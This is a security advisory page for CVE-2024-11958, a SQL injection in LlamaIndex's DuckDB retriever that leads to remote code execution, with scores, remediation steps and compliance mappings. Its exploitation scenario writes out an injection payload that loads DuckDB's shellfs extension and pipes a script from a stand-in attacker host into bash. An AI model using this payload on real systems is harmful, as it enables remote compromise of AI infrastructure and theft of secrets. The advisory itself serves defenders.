CVE-2024-11958: llama-index DuckDB retriever: SQLi enables RCE

GHSA-339r-cjv9-x78g CRITICAL PoC AVAILABLE CISA: ATTEND
Published March 20, 2025
CISO Take

If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.

Risk Assessment

Critical severity with a well-defined RCE path that requires zero authentication or user interaction. EPSS of 1.2% is currently low, but the attack technique is trivially reproducible given the public PoC on huntr.com. Exposure is highest in organizations running LlamaIndex RAG pipelines that accept user-controlled query inputs — a common pattern in enterprise AI assistants and document Q&A systems. Network-accessible without privileges, this will be weaponized quickly once exploitation tooling circulates.

Affected Systems

Package Ecosystem Vulnerable Range Patched
llama-index-retrievers-duckdb-retriever pip < 0.4.0 0.4.0
49.3K 229 dependents Pushed yesterday 87% patched ~50d to patch Full package profile →

Do you use llama-index-retrievers-duckdb-retriever? You're affected.

Severity & Risk

CVSS 3.1
9.8 / 10
EPSS
4.1%
chance of exploitation in 30 days
Higher than 89% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

Recommended Action

5 steps
  1. IMMEDIATE

    Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade).

  2. AUDIT

    Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package.

  3. DETECT

    Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings.

  4. ISOLATE

    If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level.

  5. ROTATE

    Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

CISA SSVC Assessment

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
6.1.2 - AI risk assessment A.6.2.6 - Security of AI systems in operation
NIST AI RMF
GOVERN 1.4 - Organizational risk tolerance and policies MANAGE 2.2 - Mechanisms to address AI risks
OWASP LLM Top 10
LLM03 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2024-11958?

If your RAG pipelines use LlamaIndex with the duckdb_retriever, you have a CVSS 9.8 RCE on your hands — patch to v0.4.0 immediately, no workarounds are acceptable. The attack chain is straightforward: SQL injection through unparameterized queries → DuckDB shellfs extension → arbitrary OS command execution. Treat any LlamaIndex deployment using this retriever as fully compromised until patched.

Is CVE-2024-11958 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-11958, increasing the risk of exploitation.

How to fix CVE-2024-11958?

1. IMMEDIATE: Upgrade llama-index-retrievers-duckdb-retriever to v0.4.0 or later (pip install --upgrade). 2. AUDIT: Inventory all environments using LlamaIndex — check pip freeze or Poetry lockfiles for the affected package. 3. DETECT: Search logs for anomalous DuckDB queries containing INSTALL, LOAD, or shellfs strings. 4. ISOLATE: If patching is delayed, restrict network access to services running duckdb_retriever and disable DuckDB extension installation permissions at the OS level. 5. ROTATE: Assume any API keys, credentials, or secrets accessible by the LlamaIndex process are compromised if the package was exposed to untrusted input before patching.

What systems are affected by CVE-2024-11958?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, local AI databases, document Q&A systems.

What is the CVSS score for CVE-2024-11958?

CVE-2024-11958 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 4.13%.

Technical Details

NVD Description

A SQL injection vulnerability exists in the `duckdb_retriever` component of the run-llama/llama_index repository, specifically in llama-index-retrievers-duckdb-retriever prior to v0.4.0. The vulnerability arises from the construction of SQL queries without using prepared statements, allowing an attacker to inject arbitrary SQL code. This can lead to remote code execution (RCE) by installing the shellfs extension and executing malicious commands.

Exploitation Scenario

An adversary interacts with an enterprise RAG chatbot powered by LlamaIndex. The chatbot accepts natural language queries that internally construct DuckDB SQL queries without parameterization. The attacker crafts a payload such as `'; INSTALL shellfs; LOAD shellfs; SELECT shell('curl attacker.com/shell.sh | bash'); --` embedded in their query. The duckdb_retriever concatenates this directly into a SQL string, DuckDB installs and loads the shellfs extension, and executes the arbitrary shell command — establishing a reverse shell on the AI infrastructure host with access to model artifacts, vector databases, and downstream secrets.

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
March 20, 2025
Last Modified
May 28, 2025
First Seen
March 24, 2026

Related Vulnerabilities